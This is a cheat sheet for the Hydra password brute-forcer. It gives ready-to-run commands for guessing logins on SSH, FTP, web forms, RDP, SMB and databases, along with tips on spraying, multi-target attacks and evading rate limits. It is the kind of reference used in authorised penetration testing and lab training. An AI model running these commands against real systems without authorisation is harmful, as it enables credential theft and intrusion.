Hydra is the default brute-forcer for network logins — fast, scriptable, supports 50+ protocols. If the target speaks SSH, FTP, HTTP auth, RDP, SMB, or a DB protocol, Hydra probably has a module for it.

Syntax

hydra [login_opts] [pass_opts] [attack_opts] [service_opts] service://target[:port]

Core Flags

-l user              # single username
-L users.txt         # username list
-p password          # single password
-P passwords.txt     # password list
-C combo.txt         # user:pass combo list
-u                   # spray: outer loop = users, inner = passwords
-t 16                # parallel tasks (default 16)
-f                   # stop after first valid pair on current target
-F                   # stop after first valid pair across ALL targets (-M)
-s PORT              # non-default port
-M targets.txt       # multiple targets
-o creds.txt         # write found creds to file
-R                   # resume previous session (hydra.restore)
-x MIN:MAX:CHARSET   # brute-force generator
-V / -vV             # verbose
-W SEC               # wait between connects per thread

Protocol Quick Hits

SSH

hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t 4 -f
hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -s 2222

SSH is CPU-bound and slow

Keep -t at 4 or lower for SSH. Higher values flood the server and most attempts time out — paradoxically slower. Some sshd versions drop connections above MaxStartups (default 10).

FTP

hydra -l anonymous -p anonymous ftp://10.10.10.10
hydra -L users.txt -P rockyou.txt ftp://10.10.10.10 -t 16 -f

Telnet

hydra -l root -P rockyou.txt telnet://10.10.10.10

HTTP Basic / Digest Auth

# Protected directory
hydra -L users.txt -P rockyou.txt 10.10.10.10 http-get /admin/
 
# Non-default port
hydra -l admin -P passwords.txt 10.10.10.10 -s 8080 http-get /
 
# HTTPS
hydra -L users.txt -P rockyou.txt example.com https-get /secure/

HTTP POST Form

The most common and the fiddliest. Syntax:

"path:post_body:F=failure_string"
"path:post_body:S=success_string"

^USER^ and ^PASS^ are substituted into the body.

# Failure marker (string in response body)
hydra -l admin -P passwords.txt 10.10.10.10 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
 
# Success marker (HTTP status via S=)
hydra -l admin -P passwords.txt example.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:S=302"
 
# Multiple conditions, with Cookie header
hydra -L users.txt -P rockyou.txt example.com https-post-form \
  "/login:user=^USER^&pass=^PASS^:H=Cookie\: session=abc123:F=denied"

Capture the login first

Intercept a real login attempt in Burp. Copy the exact path, exact POST body, and the exact failure string. Hydra matches literally — a trailing space in the failure string will break your attack.

Hydra can't handle dynamic CSRF tokens

If every login request requires a fresh CSRF token from the preceding GET, Hydra’s single-request model won’t work. Use ffuf with a chained request, or a custom Python script with requests.Session.

RDP

hydra -l administrator -P passwords.txt rdp://10.10.10.10
hydra -l administrator -x 6:8:a1 rdp://10.10.10.10    # 6-8 char lowercase+digits

SMB

hydra -L users.txt -P passwords.txt smb://10.10.10.10

Databases

hydra -l sa -P passwords.txt mssql://10.10.10.10
hydra -l root -P passwords.txt mysql://10.10.10.10
hydra -l postgres -P passwords.txt postgres://10.10.10.10
hydra -l admin -P passwords.txt redis://10.10.10.10

Multiple Targets

# Hit every SSH host in the file
hydra -l root -p root -M targets.txt ssh
 
# Combine with -F to stop as soon as ANY host falls
hydra -L users.txt -P rockyou.txt -M targets.txt -F ssh

Password Generation (-x)

-x MIN:MAX:CHARSET
  a = lowercase letters
  A = uppercase letters
  1 = digits
  (literal chars for symbols)
hydra -l admin -x 4:6:a1 ftp://10.10.10.10            # 4-6 char lower+digits
hydra -l admin -x 8:8:A1!@# ssh://10.10.10.10         # 8-char upper+digit+symbols

Parallelism

  • -t N sets threads per target
  • Default is 16 — fine for most protocols, too high for SSH (use 4)
  • With -M targets.txt, Hydra attacks all targets in parallel; threads are per target
  • Rate-limited targets: -t 1 -W 2 (one thread, 2s wait)

Resuming an Aborted Attack

Hydra writes hydra.restore on interrupt (Ctrl+C or crash).

hydra -R          # resume the last session

The restore file is tied to the current directory — stay put, or copy it along.

Output

hydra -L users.txt -P rockyou.txt -o creds.txt -f ssh://10.10.10.10
# creds.txt format: [port][service] host: host   login: user   password: pw

Common Pitfalls

  • Wrong failure string — any mismatch and Hydra flags every attempt as success. Verify with -vV on a known-bad credential.
  • Too many threads — SSH MaxStartups, HTTP WAF, SMB connection caps all kick in above ~10-16 threads.
  • URL-encoded placeholders — ^USER^ must be in the raw body, not URL-encoded. If the form posts JSON, use http-post-form with a JSON body and a Content-Type header.
  • Cookies required — add H=Cookie\: name=value (escape the colon).
  • Hydra isn’t a browser — multi-step logins, JavaScript challenges, CAPTCHAs, dynamic CSRF all defeat it. See Medusa or switch to a scripted attack.